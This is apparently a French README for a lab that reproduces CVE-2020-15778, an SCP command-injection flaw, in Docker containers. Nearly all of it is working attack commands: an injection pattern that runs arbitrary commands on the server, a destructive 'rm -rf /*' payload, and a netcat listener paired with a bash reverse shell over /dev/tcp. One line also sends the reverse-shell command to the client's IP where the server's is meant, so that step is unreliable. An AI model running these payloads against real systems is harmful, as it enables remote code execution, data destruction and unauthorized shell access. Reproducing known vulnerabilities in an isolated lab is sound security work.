
Reproduit l'exploit d'injection de commandes SCP CVE-2020-15778 avec une configuration client-serveur basée sur Docker pour tester l'exécution de code à distance et les charges utiles de reverse shell.
Ce dépôt reproduit CVE-2020-15778.
cd client
docker build -t client-cve .
cd server
docker build -t server-cve .
docker run -d -P --name scp-server server-cve
Récupérez l'adresse IP interne du serveur scp avec
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-server
docker run --name scp-client -i -t client-cve
Dans le terminal du client, exécutez
scp nil.txt root@<internal IP of scp server>:'`your command`/tmp'
Le mot de passe est "PASSWORD".
Voici quelques exemples pour cette exploitation.
scp nil.txt root@<internal IP of scp server>:'`rm -rf /*`/tmp'
Écoutez un port sur la machine cliente.
nc -lvvp 8080
Utilisez scp pour forcer le serveur à mapper le bash interactif vers la machine cliente.
scp nil.txt root@<internal IP of scp client>:'`bash -i >& /dev/tcp/<internal IP of scp client>/8080 0>& 1`/tmp'
L'adresse IP du client peut être récupérée avec
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-client